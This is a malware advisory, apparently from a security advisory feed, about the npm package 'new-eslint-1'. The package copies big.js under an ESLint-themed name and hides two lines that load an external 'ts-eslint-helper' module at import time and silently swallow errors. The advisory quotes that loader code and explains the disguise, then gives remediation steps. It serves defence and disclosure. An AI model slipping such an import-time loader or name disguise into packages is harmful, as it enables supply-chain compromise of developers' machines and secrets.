new-eslint-1

Package is published as 'new-eslint-1' but its package.json description, README, repository URL (MikeMcl/big.js), and source are a verbatim copy of big.js v7.0.1 — there is no ESLint functionality. Two lines have been injected at module top level in both big.js and big.mjs (lines 605-606): `const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });`. Because package.json declares `"main": "big.js"`, any `require('new-eslint-1')` synchronously loads the external `ts-eslint-helper` package and invokes `helper.from_str()` in the consumer's Node process, with errors silently swallowed. The required module name (`ts-eslint-helper`) does not match the only declared dependency (`eslint-helper-1@5.0.4`), so the loader is designed to fire when `ts-eslint-helper` resolves transitively or via a sibling install in a monorepo / polluted registry — and to fail silently otherwise, hiding the attempt from observers. This combines namespace deception (eslint-themed name + big.js disguise) with import-time arbitrary code execution under the control of whoever publishes ts-eslint-helper. ## Source: ghsa-malware (c73b4717f14fb9a756ac008f66c3bc7c8fff0713aa24734f4b2c095164a47d0b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.